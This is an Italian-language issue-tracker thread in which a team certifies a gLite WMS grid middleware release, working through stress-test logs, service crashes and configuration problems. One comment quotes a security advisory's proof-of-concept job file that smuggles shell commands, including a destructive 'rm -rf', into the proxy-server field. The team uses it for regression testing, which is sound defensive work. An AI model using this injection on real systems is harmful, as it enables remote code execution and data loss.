rilasciato con EMI 2 Update 4 (2.4.0-1)

rilasciato con EMI 2 Update 4 (2.4.0-1)

ciao,
integrazione WMS - ARGUS ha dei problemi. non riesco a capire se e' una roba di configurazione o un bug.
Ho aperto il seguente EMT Incident:
https://savannah.cern.ch/task/index.php?36503

vediamo cosa dice Valery

perfetto!

Ho committato in github i fix alla testsuite che ho prodotto durante la certificazione.

Mi sembra che loginfo generi i file Output_Part*
Prova a spostarli e a rilanciare loginfo. Vedi se li ricrea e se contengono solo zeri.

Si ho riprovato a rilanciarlo, non esce nessun wanig ma ottendo sempre quel 0 0 0 su DONE NOtDone Aborted.
Nel log niente di utile:

*****************************
Thu Oct 11 14:20:36 2012

Function Called:
/usr/bin/glite-wms-job-status

Options specified:
-v 2
-o USER0_54.out
--noint
-i USER0_54.jobid
*****************************
--No Errors found--

• • • • Error: API_NATIVE_ERROR ****
        Error while calling the "Job:getStatus" native api
        Unable to retrieve the status for: https://cert-27.cnaf.infn.it:9000/9N9Oq8GXBx6_pWMRT0aQ-g
        glite.lb.Exception: edg_wll_JobStatus: Connection refused: edg_wll_gss_connect()
        at glite::lb::Job::status[./src/Job.cpp:87]

sto reinstallando cert-27 per problemi disco.
Per info: cert-13 e cert-27 diventano EMITESTBED.

Avevo chiesto a Marco di quei Connection Timeout quando si fa una status e lui dice che e' normale, puo' succedere.

Se riprovi a lanciare loginfo.sh continua a dare quel problema?
Cosa dice /tmp/glite-wms-job-status_500_9894_1349965236.log ?

Ciao,
lo Stess Test e' finito:
----> SUBMISSION FAILED (after 63 seconds)!
2592 jobs submitted in 4148 seconds: 1/1/9 (min/avg/max)
288 submission(s) fail(s)
Test finishes at Thu Oct 11 13:38:56 CEST 2012

Ho poi fatto :
[traldi@cert-25 StressTest]$ cd Test_1349782511

[traldi@cert-25 Test_1349782511]$ cd output/

[traldi@cert-25 output]$ ls
USER0_0.jobid USER0_16.jobid USER0_22.jobid USER0_29.jobid USER0_35.jobid USER0_41.jobid USER0_48.jobid USER0_54.jobid USER0_10.jobid USER0_17.jobid USER0_23.jobid USER0_2.jobid USER0_36.jobid USER0_42.jobid USER0_49.jobid USER0_5.jobid USER0_11.jobid USER0_18.jobid USER0_24.jobid USER0_30.jobid USER0_37.jobid USER0_43.jobid USER0_4.jobid USER0_6.jobid USER0_12.jobid USER0_19.jobid USER0_25.jobid USER0_31.jobid USER0_38.jobid USER0_44.jobid USER0_50.jobid USER0_7.jobid USER0_13.jobid USER0_1.jobid USER0_26.jobid USER0_32.jobid USER0_39.jobid USER0_45.jobid USER0_51.jobid USER0_8.jobid USER0_14.jobid USER0_20.jobid USER0_27.jobid USER0_33.jobid USER0_3.jobid USER0_46.jobid USER0_52.jobid USER0_9.jobid USER0_15.jobid USER0_21.jobid USER0_28.jobid USER0_34.jobid USER0_40.jobid USER0_47.jobid USER0_53.jobid

quindi il test ha generato quei 54 file con dentro i jopid allora ho fatto:

[traldi@cert-25 output]$ ../../loginfo.sh -e 54

ottengo tanti:

• • • • Warning: API_NATIVE_ERROR ****
        Error while calling the "Job:getStatus" native api Unable to retrieve the status for: https://cert-27.cnaf.infn.it:9000/CLafO4hUd2NiLV48AHqA7w glite.lb.Exception: edg_wll_JobStatus: Connection timed out: edg_wll_gss_connect() at glite::lb::Job::status[./src/Job.cpp:87]

• • • • Warning: API_NATIVE_ERROR ****
        Error while calling the "Job:getStatus" native api Unable to retrieve the status for: https://cert-27.cnaf.infn.it:9000/9yID9ijHDO00xUBU5duB1g glite.lb.Exception: edg_wll_JobStatus: Connection timed out: edg_wll_gss_connect() at glite::lb::Job::status[./src/Job.cpp:87]

e alla fine:

• • • Log file created ***
      Possible Errors and Debug messages have been printed in the following file: /tmp/glite-wms-job-status_500_9894_1349965236.log
      Results:
      DONE : 0
      NOTDone: 0
      Aborted: 0
      • • • • • • • • • • • • • • • • • • • • • Total : 0

Questo mi succedeva anche le altre volte. Idee?

Ahh ho provato a mandare un job e fare il retrieve dell'output piu' volte senza nessun problema da quella UI su quel WMS.

Danilo,
vedi la mia mail a Marco quando gli ho detto che il task è certificato.

Le nuove funzionalita (le 2) non sono state testate per vari mottivi.
Facendo adesso il deployment lo puoi fare ed eventualmente se non fa rimandiamo tutto.

Se ben ricordo il wms 3.4 integra ARGUS.
ho messo su una regola su argus, ma vedo dal siteinfo.def che argus e' disabilitato per cert-13 e cert-27.
Immagino che nessuno abbia provato l'integrazione o si? - se no va testata?

Ciao altri problemi.

Da questa mattina alle 9 circa lo stress test non riesce a mandare jobs mi spiego.
E' cominciato da UI con:

Submission n. 2627:
Thu Oct 11 09:21:32 CEST 2012: user 0 is submitting...

Connecting to the service https://cert-27.cnaf.infn.it:7443/glite_wms_wmproxy_server

Warning - Unable to delegate the credential to the endpoint: https://cert-27.cnaf.infn.it:7443/glite_wms_wmproxy_server
Unknown Soap fault
Method: Soap Error

Switching to next WMProxy Server...

Error - Operation failed
Unable to find any endpoint where to perform service request

Questo per un po' di sottomissioni. Al che ho guartdato dentro il WMS e c'era il servizio ice not running.

Ho riavviato tutti i servizi gLite e sembra ripartito il tutto.
Ma dopo 3 o 4 sottomissioni di DAG. ICE e' di nuovo morto e nei log trovo:

[root@cert-27 siteinfo]# tail -f /var/log/wms/ice.log
2012-10-11 10:52:57,813 ERROR - IceLBContext::testCode - Got error Resource temporarily unavailable - edg_wll_LogEventProxy():
Resource temporarily unavailable;; Logging library ERROR:
Resource temporarily unavailable;; edg_wll_DoLogEventServer(): edg_wll_log_proxy_connect error
No such file or directory;; edg_wll_log_proxy_connect()
2012-10-11 10:56:01,123 FATAL - AbsDbOperation::do_query - Query [INSERT INTO stats (timestamp,ce_timestamp,status) VALUES ('1349945699', '1349944400', '3');] failed due to error [unable to open database file]
2012-10-11 10:59:19,566 FATAL - AbsDbOperation::do_query - Query [PRAGMA default_cache_size=200;] failed due to error [unable to open database file]
2012-10-11 11:01:03,667 FATAL - AbsDbOperation::do_query - Query [PRAGMA default_cache_size=200;] failed due to error [unable to open database file]
2012-10-11 11:06:04,165 FATAL - AbsDbOperation::do_query - Query [PRAGMA default_cache_size=200;] failed due to error [unable to open database file]
2012-10-11 11:08:15,817 FATAL - AbsDbOperation::do_query - Query [PRAGMA default_cache_size=200;] failed due to error [unable to open database file]
2012-10-11 11:09:39,216 FATAL - AbsDbOperation::do_query - Query [PRAGMA default_cache_size=200;] failed due to error [unable to open database file]

con dmesg nessun errore, mentre in /var/log/messages ci sono delle voci che dicono che puppet non ha spazio libero on device:
Oct 11 11:17:07 cert-27 puppet-agent[30013]: Could not run Puppet configuration client: No space left on device - /var/lib/puppet/state/puppetdlock

Anche se non mi smebra vero:
[root@cert-27 log]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg_vol01-lv_root
12G 5.4G 5.6G 49% /
tmpfs 738M 4.0K 738M 1% /dev/shm
/dev/sda1 485M 72M 389M 16% /boot
/dev/sdb 21G 5.3G 14G 28% /var/lib/mysql

Or ora ho anche cancellto dei log del gridftp per liberare 200MB e restarto i servizi ma il problema persise.

gia' fato il piu' recente e' quello postato da Te.
Ciao

Provane qualcun altro fra quelli presenti in /var/log/wms/glite-wms-purgeStorage.log-20121010

Questo job id non lo vedo IQ7epMsIb0fj6zy-39Y5bQ tra i miei, ma forse perche' vedo solo fino a ieri sera alle 19:00 e quello e' sicuramente stato sottomesso prima se prova a fare il purge.
Ultimamente ho riconfigurato (ieri mattina verso le 10:30) dopodiche' non ho piu' riavviato nessun servizio essendoci il lo Stess Test attivo.
Se si verifica un altro controllo subito se e' uno dei miei.

Per quanto riguarda il riempimento di mysql si potrebbe chiedere ad Alvise se e' normale, anche se si tratta di uno stress test, ovvero quando ice dovrebbe rimuovere i job dal db.

Per il problema del - nel jobid posso mandare io una mail a wms-devel.

Inoltre ho notato che il log del purger e' pieno di messaggi come il seguente:

09 Oct, 19:08:51 -E: [Error] query_job_status(purger.cpp:134): https://cert-27.cnaf.infn.it:9000/IQ7epMsIb0fj6zy-39Y5bQ: edg_wll_JobStat [2] No such file or directory(no matching jobs found)
09 Oct, 19:08:51 -I: [Info] operator()(purger.cpp:306): https://cert-27.cnaf.infn.it:9000/IQ7epMsIb0fj6zy-39Y5bQ: forced removal, unknown/removed L&B job
09 Oct, 19:08:51 -E: [Error] remove_path(purger.cpp:256): LB event logging failed No such file or directory (2) - edg_wll_LogEventProxy():
No such file or directory;; Logging library ERROR:

Sembra che la sandbox contenga delle dir appartenenti a job che non sono registrati nell'L&B. Potrebbe anche essere un problema relativo a quando era andato giu' L&B pero' non mi convince.
Ultimamente Sergio hai riavviato il bkserverd per caso?
Riesci a verificare se sono job lanciati dallo stress test o meno?
Non vedo perche' non dovrebbero essere registrati nell'L&B.

Concordo con tutti e 2 che lui genera quel jobID che poi non gli piace quando prova a trasferire la Sandbox perche' ha quel -b.
Aggiungo che si sono verificati altri errori di quersato tipo con:

-2

terminate called after throwing an instance of 'boost::filesystem::filesystem_error' what(): boost::filesystem::path: invalid name "-2" in path: "SandboxDir/-2/https_3a_2f_2fce...

-w

terminate called after throwing an instance of 'boost::filesystem::filesystem_error' what(): boost::filesystem::path: invalid name "-w" in path: "SandboxDir/-w/https_3a_2f_2fcer...

-4 e -s

Che sia il caso di contattare Marco e Alvise per capire quale puo' essere il problema?
La mia UI e' una EMI2 di produzione:
[root@cert-25 ~]# rpm -qa | grep emi-ui
emi-ui-2.0.0-1.sl5

[root@cert-25 ~]# rpm -qa | grep -i wms | sort
glite-wms-brokerinfo-access-3.4.0-4.sl5
glite-wms-brokerinfo-access-lib-3.4.0-4.sl5
glite-wms-ui-api-python-3.4.0-5.sl5
glite-wms-ui-commands-3.4.0-4.sl5
glite-wms-ui-configuration-3.3.2-3.sl5
glite-wms-utils-classad-3.3.0-2.sl5
glite-wms-utils-exception-3.3.0-2.sl5
glite-wms-wmproxy-api-cpp-3.4.0-4.sl5
glite-wms-wmproxy-api-java-3.4.0-4.sl5
glite-wms-wmproxy-api-python-3.4.0-4.sl5

Ciao Fabio

ti prego metti solo la risposta altrimenti non capiamo niente se aggiungi anche il commento precedente

Da quello che sembra a me è un pb della creazione "aleatoria" dei path delle sandboxes visto che non gli piace "SandboxDir/-b/"

Questa mattina ho dovuto stoppare lo Stess Test e farlo ripartire perche' la macchina cert-27 aveva il disco pieno.
Ho stoppato mysqld smontato la directory /var/lib/mysql cancellato tutto poi rimontata e cacellato tutto. Fatto start di mysqld e riconfigurato. Ho controllato che tutto funzionasse e ho fatto ripartire lo Stess Test.

Mi sono accorto che ho 2 sottomissioni di DAG cosi:
Submission n. 211:
Tue Oct 9 17:05:12 CEST 2012: user 0 is submitting...

Connecting to the service https://cert-27.cnaf.infn.it:7443/glite_wms_wmproxy_server

terminate called after throwing an instance of 'boost::filesystem::filesystem_error'
what(): boost::filesystem::path: invalid name "-b" in path: "SandboxDir/-b/https_3a_2f_2fcert-27.cnaf.infn.it_3a9000_2f-bIzcTPD_5fNh1fn8kky7eHg/input/ls.sh"
./StressTest.sh: line 173: 26483 Aborted /usr/bin/glite-wms-job-submit -a -c $CONF -o $JOBID $opt_res --collection $COLLDIR
----> SUBMISSION FAILED (after 0 seconds)!
Wait 60 seconds before the next submission....

anche se il disco su cert-27 e' ok e la macchina con un top sembra godere di buona salute. idee?

Ha l'aria di essere un bug del wms o della ui (-b viene assegnato come jobid ma poi il wms lo rifiuta).

aggiunto i regression per:
https://savannah.cern.ch/bugs/?74832
https://savannah.cern.ch/bugs/?75802
https://savannah.cern.ch/bugs/?82995
https://savannah.cern.ch/bugs/?85799
https://savannah.cern.ch/bugs/?87444
https://savannah.cern.ch/bugs/?89443
che mancavano (presi dal pre-certification report)

aggiunti i standard conformance tests - da eseguire sempre (TOADD note in the WMS Cert HOWTO)

aggiunti i report per i test MPI mandati da Enol (TOADD JDL nel WMS HOWTO)

cert e test report attached al task.

il proxy non viene rinnovato e da errore, lo interpreto come un PASSED:
sl5: https://wiki.italiangrid.it/twiki/bin/view/IGIRelease/WMSTask21060SL5#Vulnerability_bug_in_ICE_s_proxy
sl6: https://wiki.italiangrid.it/twiki/bin/view/IGIRelease/WMSTask21060SL6#Vulnerability_bug_in_ICE_s_proxy

ciao,
cerco di verificare il bug @Dal Advisory 4039 vulnerability tkt@

• elimino il rm /sandbox che e' un po' deleterio.
• se tutto funzia cerco di implementarlo nella libreria dei regression

Lo Stress test si e' piantato dopo 915 secondi dalla sua esecuaione dando i classici errori:

Warning - Unable to register the job to the service: https://cert-27.cnaf.infn.it:7443/glite_wms_wmproxy_server
DAG job registration failed
Error code: SOAP-ENV:Server

Error - Operation failed
Unable to find any endpoint where to perform service request

----> SUBMISSION FAILED (after 25 seconds)!
615 jobs submitted in 915 seconds: 1/1/10 (min/avg/max)
2265 submission(s) fail(s)
Test finishes at Sun Oct 7 17:13:39 CEST 2012

Il disco della macchina cert-27 non era pieno, ma ho trovato in quella macchina il
c-ares-1.7.0-6.el6.x86_64

che porta a dare questo errore:
DNS resolver error;; edg_wll_gss_connect();; GSS Error: Resolver internal error)

nel log: /var/log/wms/wmproxy.log

e blocca tutte le sottomissioni.

Guardando nel yum.log vi vede che alle 3:41 del 6 ottobre si e' instalalta la nuova versione perche' c'era yum.autoupdate installato.

Ho rimosso yu.autoupdate e fatto ripartire il test di sottomissione dello StessTest.
Direi che rilasciamo e lo StessTest lo appendo appena finisce se finisce bene.

Ciao
Sergio

Dal Advisory 4039 (secondo vulnerability tkt):
Submitting this JDL will cause arbitrary code to be run as 'glite' user on the WMS, when time to renew the user proxy. It must select only CREAM CEs, so as to trigger the ICE's (WMS component that submits to CREAM) proxy renewal mechanism.

[
Executable = "/bin/sleep";
Arguments = "7200";
StdOutput = "out.log";
StdError = "err.log";
OutputSandbox =

;
myproxyserver="myproxy.cnaf.infn.it; echo MC
was
here > /tmp/intrusion; rm -rf /var/glite/workload_manager/jobdir/; ";
requirements = RegExp("cream.*", other.GlueCEUniqueID);
RetryCount = 0;
ShallowRetryCount = 1;
InputSandbox =

]

Using a short proxy results in an almost immediate execution."

Aggiungo sul HOWTO.

Ho effettuato il test jdl-attributes su sl6 senza problemi. PASSED

Il test purger ha richiesto qualche operazione in piu' in quanto ho trovato un bug nella testsuite che fa fallire i test 1 e 2, che ho quindi testato a mano.
Vedro' settimana prossima di fissare la testsuite. PASSED anche purger.

aggiornamento (minute weekly meeting):

• Fabio - verifica test job-purge e list-match per SL6 (cert-27)
• Danilo & Sergio - estensione spazio cert-27 per stress test, da lanciare oggi
• Cristina - 2nd Advisory-SVG-4039 - prendre JDL da tkt RT e verificare, mettere JDL nella twiki "WMS HOWTO" (https://wiki.italiangrid.it/twiki/bin/view/IGIRelease/CertifyingWmsHOWTOs)
• Enol - MPI test - tra oggi e lunedi

Certificato il bug #82779 su sl5 e sl6. PASSED

per il #82779 - come UI si possono considerare:

• cert-17 o cert31 a cnaf

• cream-12 o cert-12 a pd

o s'installa econfigura velocemente una macchina SL6 come UI

Ho certificato il bug 95584 su sl6.
Il bug 82779, l'altro indicato nella mail di marco, e' invece relativo alla ui e non al wms, quindi non va certificato.

C'e' un problema su cert-27: il disco si e' riempito perche' il purger non funziona.
Il purger fallisce perche' LB (che e' sempre cert-27) non risponde.

Ho visto che /etc/gLiteservices non contiene la riga:
/etc/init.d/glite-lb-bkserverd
come invece dovrebbe.

Cerco di indagare e rilancio yaim.

Ho ripristinato il purger su cert-27, su /etc/gLiteservices non saprei, quella riga esiste su cert-13 ma manca in alcuni wms di sviluppo per cui non sono proprio sicuro che debba esistere.

Ho ricontrollato la lista dei bachi partendo dal task.
Ho trovato il seguente baco non pre-certificato:
Pid file of ICE and WM has glite ownership (https://savannah.cern.ch/bugs/?91834)

Marco ha chiesto ad Alvise di pre-certificarlo..

Una volta certificato questo baco secondo me non ce ne sono altri ancora da certificare.

Certificato anche questo baco. PASSED

facciamo adesso usando is sistema di phone-conf cnaf (2552 numero di conf). noi andiamo in sala riunioni

fermiamoci e sentiamoci di nuovo - non andiamo da neeuns parte cosi.
Fabio - per favore metti i link che descrive come deve essere usata la testsuite e come deve essere fatta la certificazione del WMS, hai fatto tante fino adesso e per la mia mancanza non ho visto dove sono descritti questi detagli. Anch'io per cambiare i default di certi parametri o sempre usato l'opzione "-c" senza pensare che viene fatto un && con altri valori e che per poter sottomettere jobs come user normale devo essere site-admin (root) della macchina o chiedere al root di cambiare certi setting.

Allora ditemi quando vi va bene che ci sentiamo.

Cristina

Io ora sono disponibile..

Scusa ma non cpaisco la tua risposta.
Fare un hack ad una ui di produzione non vuol dire che non so come fare di fatti il problema me lo sono risolto, e non e' stato quello di dire uso cert-17 che funziona.

Sto solo dicendo che se un utente tipo CMS si crea il suo file di conf e pensa che facendo quello matcha solo quei requirements NON e' cosi' e va sistemato, am qui parlero' con Alvise.

Dico solo che se Tu per far andare la testsuite modifichi tipo un resolv.conf o installi 2 pacchetti o modifichi altri file di conf da un install standard, sarebbe giusto saperlo, in modo che se Tu sei in ferie e la certificazione deve farla qualcun'altro sa che devo modificare quei file o instalalre quei pacchetti.
Non mi sembra di chiedere una cosa infattibile.
Ciao
Sergio

Ciao,

per Fabio:
ero allibito fino a 10 minuti nel pensare che il list match dipendesse da dove risiede la UI e in effetti la cosa e' stata scoperta.
Qualcuno o Fabio o Danilo ha modificato i file di configurazione della UI inerenti al WMS, precisamente:
/etc/glite-wms/dteam/glite_wmsui.conf
e
/etc/glite-wms/dteam/glite_wms.conf

commentando la fatidica righetta:
requirements = other.GlueCEStateStatus == "Production";

Che se pur passando un file di configurazione al comando WMS tipo:
glite-wms-job-list-match -a -c wms_cert-27.conf who.jdl

questo comunque andava a leggere quei 2 file e mette in && i due requisiti:
requirements = ( RegExp("/cream-",other.GlueCEUniqueID) && other.GlueCEStateStatus == "Testing" ) && ( other.GlueCEStateStatus == "Production" )

Come si puo' vedere un CEStateStatus non puo' essere contemporaneamente Testing e Production.

1) Parlero' con Alvise Dorigo per far sistemare questa cosa che NON va bene
2) Chiederei a Fabio (se e' stato lui a modificare i file di conf installati dal WMS) di segnarsi questi hack da qualcxhe parte e metterli disponibili in modo che poi quando si vanno ad usare le cose non ci si trovi con le sorpresine e si perda un sacco di tempo.

Ciao
Sergio

Sergio, va tutto bene fino a che non pensi che qualcuno ti faccia perdere tempo quando semplicemente vuoi fare una cosa e non sai come.

Nel test della purge a me falliscono i test 1 e 2.
Devo ripeterli a mano? I passi sono gli stessi fatti per il test3 su SL5 ?

A mano non li ho mai eseguiti. Dovresti guardare cosa fa la testsuite. Forse ti conviene capire perche' falliscono e rilanciare la testsuite finche' non passano.

Scusate, sbagliavo query io. Matchano i CE di Testing.
ciao
Sergio

Ciao Danilo/Fabio
il cert-bdii-04.cnaf.infn.it non matcha CE con descrizione Testing in GlueCEStateStatus e' per quello che i miei job sono tutti abort.
Ma ho controllato che anche il WMS di Fabio (cert-13.cnaf.infn.it) usa quel BDII, quindi anche a lui non dovrebbe matchare niente.
Potete sistemare?
Grazie
Ciao
Sergio

Ciao Sara,
pensi di riuscire a sistemare quel WMS o vuoi che provo io?
Io vorrei lanciare domani anche pomeriggio lo Stress Test cosi' che finisca lunedi' e lui lavora nel week end.
Ciao
Sergio

Quel wms ha funzionato finche` non l'ho riconfigurato per mettere
BDII_HOST="egee-bdii.cnaf.infn.it"
da quel momento non ha piu` matchato niente. Allora ho riconfigurato con
SITE_BDII_HOST="cert-bdii-04.cnaf.infn.it"
ma non va piu`
Mi falliscono tutti i test da ieri, per quello non ho piu` messo niente
nella wiki

Ciao,
si anche io avevo 57 file di utenti:

[traldi@cert-25 output]$ ls
USER0_0.jobid USER0_16.jobid USER0_22.jobid USER0_29.jobid USER0_35.jobid USER0_41.jobid USER0_48.jobid USER0_54.jobid USER0_8.jobid
USER0_10.jobid USER0_17.jobid USER0_23.jobid USER0_2.jobid USER0_36.jobid USER0_42.jobid USER0_49.jobid USER0_55.jobid USER0_9.jobid
USER0_11.jobid USER0_18.jobid USER0_24.jobid USER0_30.jobid USER0_37.jobid USER0_43.jobid USER0_4.jobid USER0_56.jobid
USER0_12.jobid USER0_19.jobid USER0_25.jobid USER0_31.jobid USER0_38.jobid USER0_44.jobid USER0_50.jobid USER0_57.jobid
USER0_13.jobid USER0_1.jobid USER0_26.jobid USER0_32.jobid USER0_39.jobid USER0_45.jobid USER0_51.jobid USER0_5.jobid
USER0_14.jobid USER0_20.jobid USER0_27.jobid USER0_33.jobid USER0_3.jobid USER0_46.jobid USER0_52.jobid USER0_6.jobid
USER0_15.jobid USER0_21.jobid USER0_28.jobid USER0_34.jobid USER0_40.jobid USER0_47.jobid USER0_53.jobid USER0_7.jobid

Solo che il risultato sembra catastrofico:
[traldi@cert-25 output]$ ../../loginfo.sh -e 57

Results:
DONE : 0
NOTDone: 25
Aborted: 71925
------------------------
Total : 71950

Dentro i file di abort ottengo:
[traldi@cert-25 output]$ head USER0_1.abort
https://cert-27.cnaf.infn.it:9000/2uO5gdj4Gtg6BCKjxnMnfA CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/3h1zG3T-RA5qY0g5If64FQ CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/7ZL1xWUx1rKq8X5s1HEEew CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/BiM879TuT3-Dyc4cuJmGvw CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/BlxBxaKSy9jRn1eU1-6gFQ CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/BuT-AtOiAPRU6jOCz3AVFQ CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/CS6Fkfi6-lCFo3axQIArkQ CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/DAmY_ABSnqW1hUIdJzIjhQ CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/DiPfwLm-1S4uCitNE7eKEQ CeUnknown request expired
https://cert-27.cnaf.infn.it:9000/Jj6Ux1u-RaKDQu4zQ_1LZQ CeUnknown request expired

idee?
Sara ma quel WMS funzionava almeno minimalmente prima che io lanciassi il test?

Ciao
Sergio

Fatto lo stess test sul cert-27.cnaf.infn.it WMS SL6

Metto qui il risultato:

EXECUTION:
[traldi@cert-25 StressTest]$ ./StressTest.sh -t 2880 -n 25 -c ~/wms_cert-27.conf -j ls.jdl
Test starts on mon sep 24 17:27:12 CEST 2012: submit 2880 collections (of 25 nodes) with a frequency of 60 seconds using 1 users.

RESULT:
2877 jobs submitted in 15312 seconds: 1/5/26 (min/avg/max)
3 submission(s) fail(s)
Test finishes at Wed Sep 26 17:25:26 CEST 2012

Ho pure lanciato questo comando (come fatto da Fabio per SL5)

[traldi@cert-25 output]$ ../../loginfo.sh -e 57

Ma ci sta impiegnado una vita e mi da tanti:

• • • Log file created ***
      Possible Errors and Debug messages have been printed in the following file:
      /tmp/glite-wms-job-status_500_32747_1348738409.log

/usr/lib64/python
======================== glite-wms-job-status success ========================
Bookkeeping information has been found and stored in the file:
/home/traldi/certification/StressTest/Test_1348500358/output/USER0_1.out
==========================================================================

appena finisce se da un responso lo aggiungo.
Ciao
Sergio

Sergio, il numero 57 va sostituito con quanti USER0_xy.out ci sono nella directory output del tuo test.

aggiunto regression per i vulnerability, manca forse qualcosa di più specifico per il 4039.
aggiunto anche metà della verifica del 89668.

Note "aggiornamento stato - lunedi, 24.09.2012":

• problemi con ARC:
  • tkt riportato coem "misbehavior"non si riferisce ai problemi di ARC.
  • non è stato aggiunto nessun riferimento al fatto che la sottomissione funziona con ARC <=11.05 e non funziona con ARC 12.05
  • Cristina contata Marco
• parallel jobs - random failures:
  • non è molto chiaro, le certificaz precedenti non riportano pb
  • Cristina contata Marco
• perusal - failed
  • Cristina contata Marco
• feedback
  • una nuova var è stata aggiunta, che neccessità essere definita manualmente (cosa succedde se non è definita? serve aggiungere una nota nelle Release Notes di come va settata?verificato il glite_wms.template e non è deifnita in nessun modo
  • nelle certificazioni precedenti questo test funzionava
  • Cristina contata Marco
• vulnerability regressions
  • per Cristina
  • Cristina contata Marco per aggiungere link ai SVE
  • si dovrebbe già conoscere cosa si doveva fare inquanto tutti i 2 vulnerability sono stati certificati da noi
• 89668
  • descrizione del test fa riferimento a "grep the source"
  • Cristina contata Marco
  • DA CORREGGERE i riferimenti a "Please refer to the pre-certification page."
    • nel report di test e certificazione non c'è nessun link, e non dovrebbe esserci, alla pagina di precertificazione
• 88128
  • Cristina contata Marco, giusto per capire meglio, -lcg-CE non dovrebbe interessarci più
• 40370
  • Cristina contata Marco

I test di Job purge sono messi a PASSED, ma poi dentro uno e`
>>> TEST FAILED <<<
===>
===> >>> failure reason: 1 test(s) fail(s): ['Test 3: Test proxy cache purging'] <<<

Va bene cosi` o e` una svista?

Se guardi bene il test 3 e' ripetuto di seguito ed e' passed.

No, ho
BDII_HOST="cert-bdii-04.cnaf.infn.it"
prima di ripetere il test riconfiguro. Grazie.

no, ho veirficato e non è un nuovo pachetto, è lo stesso pachetto usato da CREAM, stessa versione, per cui è già nel repository di produzione, per cui basta fare:
yum install kill-stale-ftp

Dirgli di aggiungere anche:
yum install emi-wms condor-emi kill-stale-ftp

nelle note d'install & configure.

Marco ha aggiunto al task wms3.4 l'rpm kill-stale-ftp. Ora immagino vada aggiunto al repo..

This test requires egee-bdii.cnaf.infn.it as the bdii, and therefore DEFAULTREQ=other.GlueCEStateStatus == "Testing" should not be defined.

i parametri dell'se sono gli stessi usati per il test jdl-attributes.

Sara hai configurato egee-bdii.cnaf.infn.it come bdii?

Mi fallisce il test 7 del list match con questo errore:

Test 7: try a matching with data requirements

===> ERROR: Unable to find any CEs mathing the job requirements

Chi devo configurare come SE per farlo funzionare? c'e` qualche altra configurazione da sistemare?

Non manca nel repository di certificazione.
Hai provato guardare la lista di rpm presenti nel task del WMS 3.4 (non c'è questo rpm), o la lista di dipendenze del emi-wms (non c'è questo rpm)?
il kill-stale-ftp è un rpm richiesto da CREAM.

L'hai trovato installato su un altro WMS?
su un WMS EMI 1 di produzione a PD non c'è.

Se hai bisogno installarlo per fare dei test - è presente nel repository di produzione, puoi fare "yum install kill-stale-ftp"

Sembra che nel repository di certificazione manchi un rpm (kill-stale-ftp):

[root@cert-13 ~]# ls /etc/cron.d/kill-stale-ftp.cron
ls: /etc/cron.d/kill-stale-ftp.cron: No such file or directory

Sergio, assicurati che il test stia sottomettendo al wms giusto..

Stress Test lanciato.
Ciao
Sergio

Lo stress-test si trova su cert-17 in /root/certification/StressTest/

Bisogna installare il seguente cron:
51 */6 * * * capannini voms-proxy-init --voms dteam; cp -p /tmp/x509up_u504 /home/capannini/certification/StressTest/proxy/user0.proxy

che richiede che voms-proxy-init crei il proxy senza richiesta di password.

Per il resto seguire la guida nel twiki.

$ python WMS-job-cycle.py -c wms-command.conf -V dteam -d 3 -l -t 8 -i
===> +++++++++++++++++++++++++++++++++++++++++++++++++++++
===> + TestSuite of the WMS Service
===> + Description: Test a complete job cycle: from submission to get output
===> +++++++++++++++++++++++++++++++++++++++++++++++++++++

Enter the user proxy password:

Set 8: Testing forwarding parameters for parallel jobs

Test 8: Case 1

===> ERROR: Timeout reached while waiting the job https://cert-27.cnaf.infn.it:9000/68qw7Nt_RIbPsm_1TuRHpQ to transfered to CE
Traceback (most recent call last):
File "WMS-job-cycle.py", line 734, in ?
main()
File "WMS-job-cycle.py", line 717, in main
if forward_parameters_parallel_jobs(utils, tests[7]):
File "WMS-job-cycle.py", line 458, in forward_parameters_parallel_jobs
utils.wait_until_job_transfered(JOBID)
File "/home/bertocco/WMS-Test-Suite/WMS-service/Test_utils.py", line 1235, in wait_until_job_transfered
raise TimeOutError("","Timeout reached while waiting the job %s to transfered to CE"%(jobid))
Exceptions.TimeOutError: 'Timeout reached while waiting the job https://cert-27.cnaf.infn.it:9000/68qw7Nt_RIbPsm_1TuRHpQ to transfered to CE'

Quindi basta avere risultati che funziona con un ARC 11.05?
Per ARC 12.05 si aggiungere riferimento al bug savannah e si dice che non funziona per mottivi di ARC.

C

OK - capito! WMS non funziona ancora con ARC.

Il WMS EMI 1 (3.3.5) funzionava (almeno dal test report.
Per cui le verifiche e il debug di questo problema finisce qui!
Si aggiunge una nota nelle Known Issues che non va con una certa versione di ARC e basta!
Il resto lo fa il PT - quello che serve per risolvere i problemi. Saranno rilasciati con un altro update. O se no si ferma la certificazione e facciamo altro.
Andiamo avanti con i altri test, se ci sono altri.

Serve che chiedo io a Marco se fermare o no la certificazione?

No, Marco dice che basta che ci sia un ce arc funzionante.

Ulteriore problema trovato nell' arc ce del testbed (pgs03). Vedere task savannah referenziato in questo task jira piu' sopra.

Puo' darsi che abbiano considerato la retrocompatibilita' rispetto al client arc, ma non al nordugrid_gahp. Se per caso sei a Praga puoi provare a chiedere a qualcuno di arc. Il problema e' comunque noto, ho solo ipotizzato che sia il nostro caso, qualcuno dovrebbe confermarlo con delle prove.

mettilo un PASSED colore giallo, con un Known Issue - dove mostri che non funziona con un ARC CE 12.05
Da quello che sapevo io le novita' introdotto in EMI 2 da ARC dovevano creare pb solo per chi usave "non-production" version:
http://www.eu-emi.eu/emi-2-matterhorn-products/-/asset_publisher/B4Rk/content/arc-ce-1

Backward compatibility:

Compatibility of ARC WS endpoints with older ARC 11.05 clients that relied on incomplete GLUE2 to communicate to pre-production WS endpoints are broken due to the more compliant GLUE2 LDAP and XML rendering introduced in this release. Upgrade to new ARC 12.05 Clients is highly recommended.
No backward incompatibility is introduced w.r.t. the production gridftp interface.

Si, jade e' un ce attualmente funzionante, immagino anche quello sia antecedente ad ARC 12.05.
Visto che il test funziona solo con alcuni ce, come devo dichiarare il test arc nel twiki? Partially Passed ad esempio?

Ciao,
